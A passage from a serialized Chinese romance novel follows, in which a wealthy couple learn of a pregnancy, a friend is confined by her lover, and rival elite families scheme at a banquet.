他拉起她的手,摊开她的掌心,轻轻的将药膏涂抹上去,再慢慢的晕开,这一刻,他细致又体贴,在苏颂的眼里,甚至比阳光还耀眼。
“是不是过头了?”苏颂憋了好一会了,哪有人**耳光,**者还得看医生的?
不过当时看着宾客们那种羡慕的目光,苏颂也有虚荣心,主要能光明正大赢陈曼曼一把,她就高兴。
但现在,房间里就他们两个人,再演,是不是过了。
温戍礼却不管,他说:“怎么才叫过?我在场,还有人敢招惹我的太太,她不是在挑衅你,她是在挑衅我。”
“我已经让人把她赶出去,并且以后,不准她进入温家大门。”
没想到他甚至做到这样,苏颂听得出来,温戍礼是真的对陈曼曼没有印象了,甚至连她的名字都不提。
不提更好,苏颂也膈应那个名字。
难得被他伺候,索性,苏颂拿了一个背靠,另一只手撑着脑袋,斜斜的躺着,看着他,像是在欣赏一副赏心悦目的画。
“我发现,你比国王会所那些男模还好看,嘶~痛,你干嘛?”
“飘了是不是?”男人冷眼一抬,配上他那严肃板正的五官,又装出吓人的样子。
要是以前,苏颂肯定会被吓到,乖乖收敛,但现在,她才不怕呢。
她咯咯笑起来:“不是你让我飘的?现在他们可能都知道我这个温太太不仅名副其实,很受宠,而且还是温家将来的女主人了。
不知道都想着要怎么巴结我了。”
那是整个南城的豪门啊,能不飘么?
高兴一番,苏颂也适可而止,在温戍礼彻底冷脸之前,她换了话题:“那个银色面具的主人找到了吗?”
闫丽又失踪了,苏颂已经一个月联系不上她了,不得已,她让温戍礼帮忙查一下那个面具的主人,她总觉得,闫丽不会平白无故留着一个面具。
上一次,她说孩子不一定是周小叔的,苏颂怀疑,面具男,就是那个姘头。
温戍礼在她身旁坐下来,清冷的声音道:“还没。”
苏颂正在思索,闻言点点头:“也是,就一个面具,要找人,跟大海捞针差不多。”
她的思绪都在想闫丽的事情,毫无察觉,被男人欺了身。
温戍礼双手压下她的肩膀,让她躺平着,对她说:“别在我面前为别的人分神,女的也不行。”
他的目光变得隐晦深邃,身上的气息带着侵略性,将她慢慢包裹。
“既然我长得比男模还好看,那就多看,我不仅可以给你看,还可以摸,什么,都行!”
随着后面意有所指的话落,他整个人也压下来。
苏颂掐着他的腰,真是越来越兽了!
。
阴暗潮湿的地下室,随着上面被打开,透进来的光快速的渗透,要比在外面同等光线带来的亮度亮很多。躺在床上的人儿眼帘动了动。
“啪嗒”,有人摁了电灯开关,亮起的灯把里面全部照亮,原本在睡觉的闫丽,睁开眼睛,被明亮的光线扎了眼。
“有病,开那么多灯干嘛?”闫丽懒懒的坐起来,张口就骂。
顾辽舟见她不打扮也不整理的形象,表情有些嫌弃,倒也没计较她。
说:“大白天睡什么睡,别晚上睡不着,又吵着跟我要**,不给就哭,还抓!”
灯光下,仔细看,顾辽舟的脸上,还有抓伤留下的细痕,而领子遮不住的后脖颈,更多。
他把闫丽带到这里一个月了,几乎她每个晚上都闹,顾辽舟被她搞得精力疲倦,最后实在没办法,才把人关在这里,想让她冷静冷静,结果她闹得更凶,居然还**。
他扫了一眼她微微隆起的肚子,算一算,也四个多月了,她原本腰细腹平,肚子大起来,也只是中间的部分隆起,所以很明显。
“也不想想,你现在能吃**吗?”不仅**,几乎很多药类都不能吃。
闫丽冷笑:“我一直喝酒吃药
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的,不然你以为,我为什么躲起来,还得冒险上医院检查。
我是怕生个怪物!”
她这样的人,就算有了母性,理性也是占据第一位。如果孩子检查出哪里不好,她肯定不会要。
说她狠也行,说她没良心也没关系,毕竟人间已经这么糟糕了,如果还不健康,那真没必要来受罪。
但这个孩子好像知道她的想法,一直很坚强,上次排畸,结果低风险,医生说没问题。
这几天,闫丽也感觉到了明显的胎动,处在这样的环境,还生龙活虎,不愧是她儿子。
“一天到晚,瞎想什么。既然担心宝宝,那就管好你自己,按时吃饭,按时睡觉,不要吃药,酒也不准喝,不就好了。”
为什么非得关在地下室,因为闫丽在酒吧,还会趁他不在,假装客人跟服务生要酒。
她有酒瘾。
闫丽又觉得身体痒了,她胡乱的抓着,脑子里一直在玄幻的转:“顾辽舟,孩子不是你的,放我走吧。”
她一改往日的嘴利不饶人,低低的语气,带着求饶的意味。
顾辽舟抓着她的两手,不让她抓破自己的皮肤,看着她,上扬的眉眼,这会涌出复杂的情绪。
“不是我的,为什么得躲起来?你不敢让周扬平知道,不就是因为你怕他知道你跟我在一起,他会弄死你吗?”
顾辽舟磨着牙,笑了一声,又气又笑的样子,看着闫丽,满眼都是无奈。
“那晚我戴着面具,你也戴着面具,你说,你不解下我的面具,我们都当彼此是陌生人,露水姻缘,不就好了。”
他凑近她,低哑的嗓音灌进她的两耳:“可你取下我们的伪装了,还怀了我的种……所以今天这样,都是你的责任。”
他垂眼,看着那隆起的肚子,低不可闻的叹息:“其实,我也没想好怎么安排我们的宝宝。”
这是他的第一个孩子,他知道后很高兴,但孩子的母亲是闫丽。
他也是个凡人,一方面喜欢闫丽的性感,一方面又厌恶她的放荡。
172 爱者,坠入爱河
顾辽舟对闫丽始于那次在宠物市场。
那一晚,他本是要帮温戍礼瞒住秘密,急中生智下,才随便想把人带出去看宠物。
在车上的时候,他开着车,她们两个坐在后面,偶尔聊天,有时候也会跟他说话,不知道是空间太小,还是夜已深,每当闫丽说话的时候,他总感觉到一阵阵清幽花香。
浓郁的花香,散发到了晚上,变成淡淡的,勾人的暗香。
后来,夜色黑暗下,他拦住了她,被她那傲人身材不易察觉的触碰一下,他浑身便一激灵。
成年男女的暧昧总是来势汹汹,加之他跟闫丽都是一路人——图乐、享受、随心。
那段时间,他有时候经过她店门口,会故意逗她几句,有时候她走到他店里,会点名找他,不再那么敌意,渐渐的,他们也能开开玩笑,但随着接触的次数多了,顾辽舟在有一天晚上梦见过她,之后,便不可收拾。
本来吧,他没打算跟闫丽有什么,他不缺女人,主要是他也不想碰周扬平的女人,被发现会很麻烦。现在的顾家,属于强弩之末,无力对抗这样的强敌。
但是,偏偏那晚,她像一只飞舞的蝴蝶,闯进他的地盘里。
为了阻止她去打扰苏颂跟温戍礼,他戴着面具,拦住了她,又带着她在舞池中起舞。
她的舞跳得不错,特别是好几次的扭动摩擦,都让他有了反应。
纵乐也是一种乐不是?
若要怪,就怪那晚的气氛太到位,她又实在太美。
自从过了三十之后,顾辽舟很少一夜笙歌,但那晚,他硬是跟她放纵到天明。
两人在这方面,技术都炉火纯青,但性这块,男人的把控力确实比女人差。
她太会了,让他当时不想做措施,他知道会导致的后果,但他当时抱着的想法是,她肯定也会做措施的,那就让他兴奋一次,她会去吃药的。
感情上,顾辽舟不算好男人,但他从不会拿女人的肚子开玩笑。如果有了孩子,对大家都是麻烦。
说不清楚,他当时为什么那么信任闫丽,但结果,她让他失望了。
此时他看着她这张脸,不知道多少天没洗的头发,又脏又乱,看上去还有些黏糊糊的,加上她的眉毛很淡,越发衬得头发乌黑,这样苍白的一张脸,顶着一头又黑又密的油头,顾辽舟叹息:“真丑!”
他松开她,站直,说:“别闹,不管怎么说,孩子我都会负责的。我先带你去收拾一下,然后带你去逛逛吧,你是太久没出门,闷坏了。”
他转身走了两步,又回头,问:“对了,你拿了我的面具,放在哪里?”
回应他的依然是闫丽的沉默,顾辽舟双手插兜:“我只是想说那个是我特订的。”圈子里的公子哥都知道那个老手匠……他一想,周扬平那种人不属于他们这圈人,应该不知道。
“算了,给你就是你的。走吧。”
。
同个时间,周家上下个个屏气凝神,因为周家三爷病了,这一次病,竟然一个多月都没好,而他向来治家严谨,有他在,家里个个都夹着尾巴做人。
周正焕在他房间里,叹气:“小叔,你再不好,我们大家都要病了。”
本来周正焕已经跟他一起回云城了,结果现在,又陪他在家耗。
此时的周扬平,正在平板上翻看什么,只见他脸色红润,眼睛有神,哪有半点生病的样子?
病是假的,借口留在这里找人才是真的。
周正焕撑着下巴,好看的脸透出点八卦的恶趣味:“所以,闫丽真的有别的男人了?”垂下的眉眼,睫毛长长,如同一只精致的娃娃在思考。
“难怪她的店里会发现男人的‘东西’,她大概是怕被你弄死,跑路了。”
周正焕想起这阵子被他小叔奴隶式的差遣,东南西北的找闫丽,找不到还会被撒气,这会故意说:“可能现在她还是跟那个野男人在一起。”
“她敢!”周扬平冷喝,明明他什么都没做,但周正焕就是止住了嬉皮笑脸,手也放下来,规规矩矩的坐好。
“店里的,是我。”
“哈!”
这个消息也太劲爆了吧?他一向正经严肃,不谈风月的小叔,竟然会在店里就跟……就……
“就……”周正焕怎么都说不出口,最后变成一句,“我让他们不要再查了。”
周正焕又震惊又惊悚,难怪他的人一直查不到,但也不能查到。
万一被他爷爷知晓,周家得塌。没人能接受得了闫丽的。
“让人改查她的踪迹。”
这是要用到系统的人查了,可是这样一来。
“家里人可能会知道。”周正焕歪着脑袋,提醒。
周扬平却继续在平板上忙活,跟听不见一样。
周正焕伸直脑袋,侧过身体面对他,好看的五官往着中间凑,像是要打结:“小叔,你玩真的?”
。
从温家出来后,苏颂的心情还是不太好,温戍礼见她低落消沉的样子,让司机改道去茶楼。
苏颂闻言,问他:“要去茶楼干嘛?”自从他送给她这间茶楼后,苏颂一有空就往哪跑,甚至早出晚归,都忽略他了,让温戍礼很后悔,他甚至说过,当初就不应该想着开给她。
注意力是转移了,但连他也不理了。
这会,怎么又主动说要去?
“我已经跟她们说,我今天不过去了。”
苏颂看着他,一双清澈的大眼睛眨巴眨巴的,让他忍不住捏了一下她的脸。
“去拿猫就走。”
猫?
“嘟嘟?”瞬间,苏颂的眼睛都亮起来了。
温戍礼本来还有所摇摆,毕竟家里养猫,真的有点吵,但这会见她这么高兴,便不再犹豫。
“嗯,把猫带回家养吧。”
“提前适应一下家有萌宝的热闹感。”也许有小天使看到他们家这么温馨有爱,就会来当他们的宝宝呢?
一向不信神鬼的温戍礼,在历经大半年求子失败后,竟然也琢磨起了旁门左道。
在茶楼拿了猫之后,苏颂整个人都开朗许多,甚至一心逗猫,都不跟说话。不过,气氛倒是好的。
见她这么喜欢跟猫玩,温戍礼给她腾空间:“你先上去,我还有点事。”
已经下车,提着猫笼站在车外的苏颂,点了点头,然后就走了。
温戍礼见她边走又边逗猫,笑了一声:“到底年纪小。”
173 吐了?怀了吗?
King
顾辽舟费了不少劲,才把闫丽哄好,把人带回来藏好后,就来温戍礼的包厢。
“一进门就听说你来了,又有什么事找我?”
他双手插兜,脚步轻快,吹着口哨,一看就春风得意。
“什么事这么高兴?”温戍礼眯眼打量他。
顾辽舟在他一侧坐下,翘起二郎腿,道:“刚哄好个姑奶奶。”
“哦?”温戍礼瞥他,“前阵子还一门心思要找清吧那个女人,该不会哄的就是她吧?”
顾辽舟顿了一下,摇头,正要否认,温戍礼却拿出一个东西,放在桌子上。
一个,银色面具。
正是顾辽舟那一个。
温戍礼也不跟他废话:“罗老头的东西都有编号跟记录,真要我去查?”
查?不必查,顾辽舟认。
“是我的。”
“我哄的,也是闫丽。”
他笑着拿起面具,还炫耀一般的,同温戍礼说:“这算我跟她的定情信物。”
“跟周扬平的女人定情,你是不打算要顾家了?”温戍礼眉眼犀利,他冷着脸的时候就够吓人了,现在更是气压十足。
“要啊,所以你帮我瞒着。”顾辽舟依然在笑。
温戍礼抽了一口烟,道:“我没想跟周家人刚。”
言外之意,他要是真跟周家人对上,他不帮。
顾辽舟不以为然:“也不是你不想就不会对上,你跟周正焕抢女人这段,你过得去?
再者说了,你就算过得去,周家人还过不去,别以为我不知道,周扬平用养老机构设计你进局,就是为了你手头上的加工厂。”
那可是军事加工厂,周家那种人家,最最想要的。
顾辽舟掏出烟,移到温戍礼身边,朝他递过去:“兄弟,周家,是我们共同的对手。
我们应该一致,再携手合作。”
温戍礼靠在椅背上,两手摊开,一手指间的烟还弥漫着,他大马金刀的坐着,片刻,接过了顾辽舟递过来的烟。
烟是交际的好帮手,这一刻的接下,是默契的达成。
温戍礼把拿过来的烟衔在嘴上,用手上燃烧的半根烟来点,吸一口,白色的烟点了猩红。
“这次不是合作,是私人恩怨。正巧,我也不爽周家人!”
。
有了嘟嘟在家,苏颂也不费心思王茶楼跑了,其实那里都是油烟味,待个一天就全是臭豆腐味,最近是把苏颂闻吐了。
白天,温戍礼上班,她就逗猫,晚上,温戍礼回来,她就做饭,跟了这位新阿姨学做菜,苏颂的厨艺突飞猛进,一旦做出来的好吃,干劲也就越足了。
温戍礼很满意这样的生活,贤妻在家,回家有口热饭,三餐安稳,细水长流,心情舒畅起来,倒是连猫都看顺眼了。
这晚,苏颂去洗澡,不知道是不是盛夏太令人烦躁,连猫也一直上蹿下跳的,叫个不停。
温戍礼见了,把猫抱起来,学着苏颂,顺着它的头顶摸下去,摸了几下,竟然觉得烦躁的心情得到舒缓。
有了感觉,撸起猫来得心应手。
“原来有人喜欢撸猫是因为很舒服。”小猫咪已经变成大胖猫,一身灰蓝的猫毛不长不短,毛发柔软,裹在皮肤上,很舒服。
男人的臂弯有力,温戍礼就这样一手托着猫,一手打开房间的门,想要带着猫去找苏颂,哪知道却听见苏颂异常的声音。
“别进来。”
温戍礼刚进衣帽间,就被苏颂喊住,他分辨了一会,大概听出来,苏颂在吐。
她不希望他看到。
他抱着猫在门口等,等了一会,苏颂冲了水,又洗漱一下再出来。
只见她捂着肚子,苦巴巴的说:“肚子有点难受。”
今晚吃饭的时候,她就在说了,阿姨还在饭后给她拿了消食片。
他们都觉得,是最近吃得太规律太丰富,积食导致。
这会,温戍礼打量着她,道:“去医院。”
自从上次她打了陈曼曼,手心红了一点就被他请医生后,苏颂是不敢随便就医了,总觉得有些小题大做。
“我再去吃点消食片吧。”
苏颂拖着无力的双脚正要经过他,被他的手抓住。
“你多久没来了?”
苏颂扭头看他,瞬间,明白他的意思。
“你是说……”
“查一查吧。”温戍礼没有否定她的想法。
怀孕吗?
由于现在太晚了,加上真的是怀孕的话,也不用这么着急去医院,可以先买试纸来测一下。
阿姨下楼接跑腿送来测纸跟药,马不停蹄的把东西交到苏颂手里。
苏颂打开袋子,看到里面除了验孕纸,还有验孕棒,另外还有一盒双歧杆菌三联活菌,助消化的药。
阿姨也看到了,直夸:“先生真细心。太太要是有了,肚子不舒服也难受,这个药啊是活性菌,调节肠胃的,孕妇也可以吃的。”
“这样啊,太太今晚就不会难受了。”
苏颂听了,脸上露出甜蜜的笑:“你懂得还真多。”
苏颂拿着试纸跟验孕棒进去洗手间测试。阿姨也想知道主家是不是要添人口了,留下来一起等。
温戍礼坐在榻榻米上,翘着腿,怀里还抱着一只猫,一边撸一边问阿姨:“你的嘴巴会说话,要是她真怀了,我给你加工资。”
美食、美言,这位阿姨常常逗得苏颂很开心,他每天晚上回来,时常会听到苏颂夸赞她。
阿姨感谢着:“好,那谢谢先生了。先生太太这么好的人,我相信很快就会有自己的宝宝的。”
温戍礼一下一下的顺着猫摸毛,问她:“你之前是在哪家做事的?怎么做事这么能干,嘴巴也这么会说。”
他抬眼,说出心里的疑惑:“像是专业训练过的一样。”
阿姨说:“我们帮佣阿姨都有上岗培训的,我之前也为不少家做过事,所以做事熟练一些。”
她看似回答得天衣无缝,但她刚才身体紧了一下,没有逃过温戍礼的眼睛,这个回答看似完美,但其实说了跟没说一样。
“我说的是训练。”
训练跟培训,一字之差,相去甚远。
她专业得,像是专门对准他们两口子设计的帮家阿姨,事事没得挑。
但,完美,有时候就是破绽。
气氛一下子紧了,这个时候,洗手间的门开了。
174 平静风波的背后,是暗涌
温戍礼立刻站起来,问:“怎么样?”
苏颂朝着他笑了一下,将验孕棒递给他。
温戍礼放下猫,有所迟疑,然后大步走过去,接过,看到上面的两条杠,眼睛都亮了:“这是……”
苏颂有些腼腆,不敢看他:“两条,应该是。”
“哈哈,太好了。”温戍礼下意识就要去抱苏颂,阿姨连忙提醒。
“先生,小心点,孕妇不能随便折腾,特别是孕早期,得小心。”
温戍礼这才松开苏颂,点头,一会看着苏颂,一会看向她的肚子,向来形不露色的男人,今夜把“乐”字都写在脸上。
夜里,两人躺在床上,温戍礼从后抱住苏颂,大手放在她的腹部上面。
“怎么不动?我看到过视频,有的宝宝在肚子里动得很厉害。”温戍礼上下摸摸,左右摸摸,似乎是在怀疑自己摸的地方不对,才没有摸到胎动的。
苏颂被他弄得痒,扭动着身体小,白净的手去抓他的大手:“嗳,你别乱动了,痒。”
“没那么快,胎动要三四个月才能感觉得到,你说的,动的很厉害的,大概是要孕后期才会。”
“这样啊。”听语气,有些遗憾。
苏颂窝在他的怀里,稍微调节姿势,找了一个舒服的位置,好像,今晚他的胸膛特别温暖,心跳特别有力呢。
苏颂在这一刻,觉得自己拥有了幸福。
“不过,你还看短视频吗?”
“原本忙得连聊天软件都没时间看的人,居然有时间刷视频。”
这话,似道似怨。
男人从后吻了吻她的头发。
“抱歉,以前是我不识趣。”
到底是学会了顾辽舟教的哄妞招数——别跟女人理论,女人要理论,就直接道歉。
其实说出来,也不觉得丢人。是自己的老婆,又不是别人,这样,她就愿意让自己亲亲抱抱了。
嗯,解决方案,优。
苏颂推他:“不行。”
已经将她翻过来的男人,却有些急促:“不进去,不是还有你朋友送的小武器。”
闫丽到底了解男人,送的那些东西真把温戍礼收买了,其实茶楼都是温戍礼的人,他知道闫丽之前经常去茶楼找她,但是他没问过,说明,他不让她交的“朋友”,已经不包括闫丽了。
想到闫丽,最后有些情迷的苏颂低语:“丽姐的宝宝会动了吧?”
。
隔天,温戍礼陪着苏颂来医院,医生是个老医生,做事稳当简便。
他听苏颂讲完之后,说:“现在孕期还短,确定怀孕的方式就只有测纸跟验血,既然测纸已经测出来了,就不用验血了,女人怀孕就够累了,能少受点罪就少受点。”
说着,他还意有所指的瞥向温戍礼,看得温戍礼拧着眉,目光逐渐犀利起来。
从医院门口到上来,他都扶着她,一进门,就朝医生喊“我老婆怀孕了,快给看看”,没喊人,老医生觉得不被尊重,有些介意,加上他一直问需要做什么检查,让医生赶紧开单,会让人误会他只注重孩子,不考虑孕妇负担。
苏颂尬笑,拉了拉温戍礼后面的衣角,说:“都听医生的。”
大概是苏颂态度好,老医生后面说话心平气和,他建议再过一周来做B超,因为现在检查就只能确定是不是宫内受精,其他的,还没发育也查不出来,不如延后一周,到时候可以检测胎儿有没有胎心,两项一起检查,就不用做那么多次B超。
温戍礼急,想要现在就查,他觉得医生是想为他们省钱。
但苏颂拉了温戍礼的手,已经站起来,说:“好,那我们下周再来,需要先预约吗,医生?”
两人出来,苏颂不让他扶了,她自己都觉得太夸张,不过挽着温戍礼的手臂,这样看起来也自然一些。
上了车,温戍礼问:“怎么不做个B超检查?我看网上说,B超时孕期最常见,也是能见到宝宝最好的检查方法。”他伸手摸了摸苏颂的肚子,好想见见啊。
苏颂从没想过,一向冷淡古板的温戍礼,对孩子会这么温柔,这么期待,不由地,又想起自己当年。
“要是知道你是个爱孩子的好爸爸,当初我就应该第一时间告诉你。”苏颂的脸埋在他的胸前,声音有些压抑:“我害怕,我害怕查出来又跟三年前一样。”
她胆怯了。
男人的一只大手搂着她,一只大手摸了摸她的后脑勺,安抚她:“不会的。”
医院草坪上,陈曼曼穿着运动服,戴着口罩跟鸭舌帽,把自己遮得严严实实的,露出来一双眼睛,却是藏不住的愤怒与嫉妒。
因为被温戍礼赶出来,被温家驱逐,等同于被南城的上流圈封杀,她爸也彻底不要她了,现在的她活得像是过街的老鼠,又惨又没有自尊。
甚至一身伤,连平常的衣服都不敢穿,只能把自己遮得严严实实的。
可是,苏颂呢,她享受着温戍礼温柔的呵护,享受着“温太太”而带来的各种羡慕跟便利,凭什么?
凭什么?!
“哦,那不是温戍礼吗?限量版迈巴赫啊,难怪瞧不起我那百来万的保时捷。”
说话的男人,挺着一个大肚子,长着痘痘的脸上一脸油腻,真是又丑又油腻。陈曼曼看了一眼就觉得恶心,移开视线。
“当时我也不知道他还见了你们老总……”
这个男人,就是去年在盛泰门口撞到陈曼曼,后来温戍礼出面,被寰宇开除的高管。叫张敬天。
后面张敬天被开除后,又到医院找陈曼曼麻烦,被温戍礼报警带走,最后因制作假章,吃回扣挪公款,加上蓄意害人等等,被判了两年,结果呆不到一年就出来了。
这个人有点背景,后面陈曼曼在落魄的时候,又遇到这个男人,一来二去,两人现在在一起。
“你坐牢,真不是我弄的。”陈曼曼名声毁了是毁了,但一身为男人培训而成本事倒还在。
只见她故作可怜,加上抽抽搭搭的软话,再凶狠的男人,也收敛了些。
“哼,不是你,也是因你而起。不过你现在已经被他抛弃了,只要你愿意帮我对付姓温的,我会留着你。”
他短肥的猪手在她的口罩上蹭一把,眼神调戏。
175 白莲花打不死,死对头干不掉
关于陈曼曼,陈耀辉在将她赶出家门之后,还来跟温戍礼汇报邀功,但对于温戍礼来说,这个人就是叛徒加失败者而已,他并不在意。
他更关心的是,如果周扬平真的势必要他手里的加工厂,他应该怎么应对。
温家是有钱,但钱在权面前,有时候会变成一文不值。就算有顾辽舟跟他联盟,也远远不是周家的对手,顾家现在实力太弱了,且势力搬不上台面,暗地里提供线报还行,明面上,根本无法抗衡。
于是,温戍礼重新找人,想要搭上路家这条线。
此时,路家宴会上,温戍礼跟顾辽舟站在一旁,看着各军界大佬相互逢迎,又暗自较劲。
顾辽舟是第一次接触到这种场面,这排场,连温戍礼来了都得靠边站,他就更不用说了,要不是温戍礼带他进来,他这辈子都进不了这个门。
顾辽舟感叹:“真不愧是能在海城站稳的人物,那面相,鬼都能被吓退。”更别说人了。
顾辽舟也算在打打杀杀中长大的,虽然没有真的杀过人,但揍过的人不计其数。可坐在上首的那一位老者可不一样,只见其体型健硕,长着一张又黑又凶的脸,皮肤粗糙,黝黑的脸上,一道狰狞的伤疤斜跨半张脸。
这一看,都知道不好惹。
这是平定海城之乱的英雄,后来被称为海城第一将的路老路琮。
虽然至今海城人还是保持不与外通婚,不与外界过多往来,靠着地势自给自足的习俗,但经过路琮几十年强权管理,当地人已经不会那么蛮夷,也准许外地人进入海城了。
温戍礼的目光在宴会上的宾客游弋:“路家的大孙子没回来,他现在在云城就任。”
闻言,顾辽舟看他,只听温戍礼琢磨片刻,说:“路家跟周家较劲多年,路家主要从军,周家主要从政,但路家一直不服,在南城人的心里,周家的地位比路家重,所以这些年,周家人在哪,路家也会安排一个人在哪。”
他的手摩挲着玻璃杯,眼睛眯了眯:“云城是周扬平在那,难道是周扬平有什么变动,让路家的大孙子,连路老的八十大寿都不回来?”
顾辽舟有些为难:“这事我打听不了。”不管是周家还是路家,都不是他小小顾家能接触到的。
温戍礼端着酒杯,说:“我们过去,打听打听就知道了。”
顾辽舟初听,觉得温戍礼这样城府的人,怎么就出了这个谋略,周家人的消息哪有那么容易打听的,哪知道温戍礼一句话就问出来了。
温戍礼贺寿完,又说了几句场面话,就问:“怎么没见路蔽?”
路老看了一眼温戍礼,喝了口茶,粗犷的嗓音说:“请不了假呗,都怪周家那个文弱书生,一病就一个多月,让我孙子好生忙活。
他们两个,一个是审计局的文职长,一个是武职长,总不能两个长都不在吧。”
路老对周家人的嫌弃,毫不遮掩:“哼,周老家伙的子孙是一代不如一代了,先是出了个早产难养活的,现在又多了一个难养好的。
一个男人,中年丧妻就不娶,一听就有毛病。”
数落起周家来,路琮是一句接一句,丝毫不在意场上还有很多人。
不过今日能来的,都是亲路家的,在南城混的都知道,亲路就不亲周,亲周就不亲路,所以纵使路琮的话有些难听,还是有人敢附和。
顾辽舟靠近温戍礼,压低声音说:“他不娶,养着情人呢,哼,表面装正经,背地里老色胚!”
“温家小子,今天怎么没带你的小媳妇来啊,别说,你那小媳妇怪可爱的,人这么多,这么吵,都能睡着,说明心大。
心大的女人好,没心机,最烦女人那些弯弯绕绕的小肚子鸡肠了。”路老大说大笑的,因为他主动问起苏颂,倒是让在场的人也思索了这么一个人,有人想起来,夸赞了苏颂贤惠孝顺。
路琮听了,连连点头,让温戍礼下次把人带来。
“明年,明年把人带来,我让人开个房间专门供她休息。”
温戍礼含笑应下。
这种场面,轮不到温戍礼表现,两人找了边上的位置坐下。
温戍礼一直盯着手机,时而认真时而带笑的,把心里上上下下的顾辽舟看得更没底了。
“不是,周扬平病了,你高兴成这样?”
温戍礼听了,抬头,瞥他:“谁管他?”
“不是吗?我还以为你让人证实消息,这是你手下发来的呢。不是吗?那你再看什么?”
“聊天?我去,你居然在这种场合闲聊,还是我认识的温戍礼吗?”
“是苏颂。”温戍礼将手机收起来。
原来是苏颂啊,那难怪了。
顾辽舟的手机震动了一下,他赶紧点开看,边看边同温戍礼说:“我的人证实了,周扬平最近确实在周家,没去云城。”
温戍礼敲着桌面,今日的他戴了眼镜,这会透出点审视来:“这么介意他啊!”
他都没急,他倒是先急了。
不等顾辽舟解释,温戍礼又问:“那个女人怀孕了?”
“是你的。”
不是疑问,更像是肯定句。温戍礼这么聪明的人,只要知道闫丽怀孕,那么关于闫丽为什么玩失踪,甚至还有他为什么冒险要跟周家对上……一切逻辑他自然能想通,问,不过是确认。
顾辽舟被他看得不自在,摸了摸鼻子:“你别又说我,真是意外。”他也没想到闫丽真的会怀。
可温戍礼却又说了一句:“三四个月了,你很早就跟她搞上了?”
他撞破顾辽舟跟闫丽那点事,也就上个月上个月的事,他偶然撞见他在那个女人的店门口徘徊。
可苏颂说,闫丽的胎儿,会胎动了,至少得有三个月以上才会有。
此时一个逼视,一个心虚,气氛反而静谧下来。温戍礼的目光越来越具有压迫感,就在顾辽舟被他看得头皮发麻,打算坦白的时候,一道声音插了进来。
“温总也来参加路家的宴会啊!”
176 想好埋哪,可以纯友情不收钱帮葬
江灿走过来,到底没再喊温戍礼“叔”了。
因为他把苏颂的照片提供给林美丽一事,温戍礼并不搭理他,倒是顾辽舟问:“你怎么来了路家,你不是跟周……”
地方敏感,顾辽舟不再说下去,相比之下,江灿更坦荡一些,他那冷白皮的脸漾着笑,道:“我们家跟周家是同个大院的,大家都知道,但是我哥是军区的,归路老管辖,大家也都知道。”
他耸耸肩:“所以别人不能来,我来,完全没问题。”
顾辽舟恍然大悟:“哦,我不知道,原来你家背景这么大,两家都靠啊!”
他只知道江灿也是大院子弟,却不从军政从了商,并不清楚他们家族的关系,更不知道,江家的地位这么高,毕竟能在路琮手下得到重用的,都不简单。
顾辽舟更崇尚武力,对这个合伙人又刮目相看几分。
江灿摆手:“不能这样说,免得被人听了,误以为我们家脚踩两船,我们就是就公**,就私论私,路老爷子跟周老爷子偶尔都会坐下来聊一聊,并不是外面传的那么糟糕。”
“江灿。”有人喊他。
江灿笑了笑,对温戍礼说:“温总,劳烦代我跟颂颂道个歉。”他过来,就是为了说这句话,说完就走,跟来找他的女人会合。
顾辽舟啖了一声:“以前怎么没看出来他这么会装呢?”要不是刚才才听路琮明里暗里嘲讽了周家那些话,还真会信了江灿这番话。
“原来这种出身的,也会鬼话连篇啊!”
“不过,他为什么得跟嫂子道歉?”对于苏颂跟江灿之间发生的事情,顾辽舟半点也不知道。
温戍礼说:“不过是鳄鱼的眼泪。”从他找到江灿,摊开之后,也过了不少时间了,江灿如果诚心道歉,会主动找他,不是拖着,还是碰上才来说这句话。
只能说明,他的道歉是被迫的,而能让他不得不做的,也就姓周的了。温戍礼很不喜欢周正焕,狼子野心!
他是不会帮忙转达的,不让姓周的还有机会在他老婆面前露姓名,也不会代表苏颂说原谅。受伤害的是她,只有她有权利决定原不原谅施害者。
想到顾辽舟现在跟江灿合伙开酒吧,他提醒一句:“这个世界不是非黑即白,就像你以为的周家跟路家,会是楚河汉界分得清清楚楚,实际上并不是。”里面的错根复杂不比商圈的简单。
“顾家都能洗白,黑的能变白的,白的也能变黑。”
“你是说……”
“我什么都没说。”他把手机放进裤袋,两手也**去,站起来。
这里,虽然看似角落,却能纵观全场。
此时的温戍礼,像是傲视群雄的狮子:“到不熟悉的领域,少说多听,少做多看。”
他看向正琢磨的顾辽舟,道:“道理想不通可以暂时不管。但孩子都要生了,可不能不管。”
他拍拍顾辽舟的肩膀:“先想想,要是被周扬平知道,你要埋哪里吧。这个,我可以不要你好处,纯交情帮你葬。”
看着温戍礼走开的背影,顾辽舟用嘴型骂骂咧咧。
这个人,一把嘴总是不饶人!
见不到他比他早当爹是吧。
。
苏颂在家睡了一觉,不知道是不是孕期反应,她现在已经感到身体无力,嗜睡了。
“喵~”
嘟嘟不知道什么时候进来的,蜷缩在床边叫唤,看样子是被她起床的动作吵醒。
“你怎么又溜进来了,被爸比知道,他又要冷着脸呼气了。”一想到温戍礼那无奈又气恼的样子,苏颂笑起来。
她下床,抱着猫走出房间:“不过宝宝学聪明了哦,这次没有上床。”
自从又带了嘟嘟回来之后,苏颂就一直拿它当“宝宝”养,自称自己是它的妈咪,却不敢当面说温戍礼是猫咪的爸比,怕他生气,又要把猫送走。
不过温戍礼这一次对猫咪的容忍度明显大很多,这次回来,他并没有说得把猫关在猫笼里,也没有规定猫只能在偏房
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玩,有时候他自己也会逗猫,但就是有一点——他不喜欢猫上床。
他说会有猫**,会臭。
苏颂觉得纯粹是他的心理洁癖症作怪,他逗猫的时候,怎么不说臭,撸猫的时候,怎么就不怕猫**了。
“哎哟,太太,你怎么起来了,别抱嘟嘟了,你现在不方便。”回来的阿姨看到苏颂抱着猫,马上就过来把猫接过去。
“你出去了吗?”现在是下午三点,往常这个时间,阿姨会在搞卫生,四点半才出门买菜,现在,阿姨也没提东西回来。
阿姨抱着嘟嘟,笑笑:“下楼丢个垃圾。对了太太,我正好听见有人在门卫那说要找你。”
阿姨刚说,下面的门卫的保安就打电话上来。
温禾一进门就惊叹:“我还想,我叔那么多产业怎么就弄个平层住,再大也是个平层,怎么都没有别墅好,结果,是我狭隘了。”
为表诚意,温禾还鞠躬了一下。逗得苏颂咯吱笑。
“你能不能不要这么活宝,也就房子,住哪都一样。”
温禾摇头:“不一样,就我叔这个客厅装修,就能买我家一整套带配套了。”
苏颂从小就住小四合院,她出生的时候,正是苏家事业巅峰的时候,那套小院子虽然是老的,但是苏凤买回来后,花了不少钱软装。所以苏颂在苏家住的环境也不错。
